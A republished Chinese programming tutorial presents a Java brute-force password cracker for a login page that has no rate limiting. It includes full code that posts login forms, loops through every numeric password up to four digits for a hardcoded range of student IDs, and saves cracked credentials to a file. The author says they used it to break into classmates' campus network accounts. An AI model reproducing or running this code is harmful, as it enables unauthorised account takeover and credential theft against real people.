加入收藏 | 设为首页 | 会员中心 | 我要投稿 应用网_丽江站长网 (http://www.0888zz.com/)- 科技、建站、数据工具、云上网络、机器学习!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

Java网络编程五:暴力法破解登录系统的完全达成

发布时间:2021-12-18 16:27:01 所属栏目:PHP教程 来源:互联网
导读:注:以下破解思路及代码源自我同学木子 1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四

注:以下破解思路及代码源自我同学木子
 
1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四位数字的)代码如下:
 
<span style="font-size:16px;">package demo.net;  
  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.net.HttpURLConnection;  
import java.net.URL;  
  
import mine.util.io.TextFile;  
  
//暴力法破解简单登录系统:该系统无任何安全措施   
public class PostTest {  
    String urlString = "登录页面的url";  
  
    public PostTest() {  
    }  
  
    public PostTest(String urlString) {  
        this.urlString = urlString;  
    }  
  
    // 提交一次用户请求   
    private boolean doPost(String user, String password) {  
        boolean sucess = false;  
        try {  
            URL realUrl = new URL(urlString);  
            HttpURLConnection conn = (HttpURLConnection) realUrl  
                    .openConnection();  
            conn.setDoOutput(true);  
            conn.setDoInput(true);  
            conn.setInstanceFollowRedirects(false);  
  
            // 提交表单,发送的数据是直接用Firebug截取的然后把用户名,密码部分换成参数   
            PrintWriter out = new PrintWriter(conn.getOutputStream());  
            out.print("要提交的表单信息");  
            out.flush();  
  
            // 如果登录不成功,报头中没有Location字段,getHeaderField("Location") 返回null   
            // 登录成功,返回一个随机的Location字段   
            // System.out.println(conn.getHeaderFields());   
            if (conn.getHeaderField("Location") != null) {  
                sucess = true;  
            }  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
        return sucess;  
    }  
  
    // 这是一个全排列算法, 对特定长度的密码排列组合,把结果存入list   
    // user:用户名 , n:字符下标 , len:字符数组长度,也就是密码长度   
    private boolean createPassWord(String user, char[] str, int n, int len) {  
        if (n == len) {  
            String ps = new String(str);  
            if (doPost(user, ps)) {  
//              System.out.println("sucess:" + user + " : " + ps);   
                TextFile.write("file/校园网用户名及密码.txt", true, "sucess:" + user  
                        + " : " + ps + "n");  
                return true;  
            }  
            return false;  
        }  
        for (int i = 0; i <= 9; i++) {  
            str[n] = (char) (i + '0');  
            if (createPassWord(user, str, n + 1, len))  
                return true;  
        }  
        return false;  
    }  
  
    // 破解一个用户的密码   
    public void test(String user) {  
        for (int i = 0; i < 4; i++) {  
            if (createPassWord(user, new char[i + 1], 0, i + 1))  
                break;  
        }  
    }  
  
    public static void main(String[] args) {  
        PostTest pt = new PostTest();  
        for (int i = 1; i <= 9; i++)  
            pt.test("09050510" + i);  
        for (int i = 10; i <= 31; i++)  
            pt.test("0905051" + i);  
    }  
}  
</span>  
这个示例代码中只破解密码为4位或4位数字之内的密码,大概破解一个用户需要十分钟。如果破解5、6...更长的密码,破解时间将很长。

(编辑:应用网_丽江站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读